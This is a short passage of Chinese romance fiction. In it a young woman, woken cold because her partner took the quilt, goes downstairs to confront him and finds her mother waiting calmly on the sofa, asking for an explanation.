李晦出去开门之后,林一简也没能躺多久。 李晦人走的时候把被子一块儿带走了,林一简在空荡荡的床上摸摸摸地摸了半天,什么都没拽到。 时近深秋的天气,床上少了一个热源本来就偏冷,连条被子都没有,根本是不让人睡了。林一简蜷了半天,最后还是低气压地爬起来,随便找了件衣服裹了裹,就准备下去兴师问罪。 * 与此同时,盥洗室。 李晦莫名觉得今天的盥洗池特别矮,他弯着腰往脸上泼了两把水,冷不丁地抬头,对上了镜子里的脸——他自己的脸。 李晦:“……” 好好想想,他刚才好像也没干什么……吧? 刚正这么想着,外面质问的声音传来,“李惟昭——!” 李晦:“……” 林一简总共也就说了这三个字,因为下一秒,她就看见了正坐在沙发上的亲妈。 林一简:“……” 她看着坐得稳如泰山的亲妈,又看看刚从盥洗室出来、脸上还往下滴水的李晦,觉得眼前的状况实在超出了她能理解的范围:CPU都要烧干了。 李晦倒是想说点什么,但张了张嘴,少见地卡住了。 章琪这会儿早就收拾好了心情。她镇定地冲李晦点了点头,像是知道对方在犹豫什么似的,直接道:“叫‘妈’就行。” 一句话就让李晦彻底沉默了。 还是林一简终于找回了点理智,慌忙开口:“妈!你听我解释!” 章琪拿起了水杯,往后仰了仰,后背靠在沙发上,从容地:“好,你解释吧。” 林一简:“……” 怎么解释、解释什么……这可真是个好问题。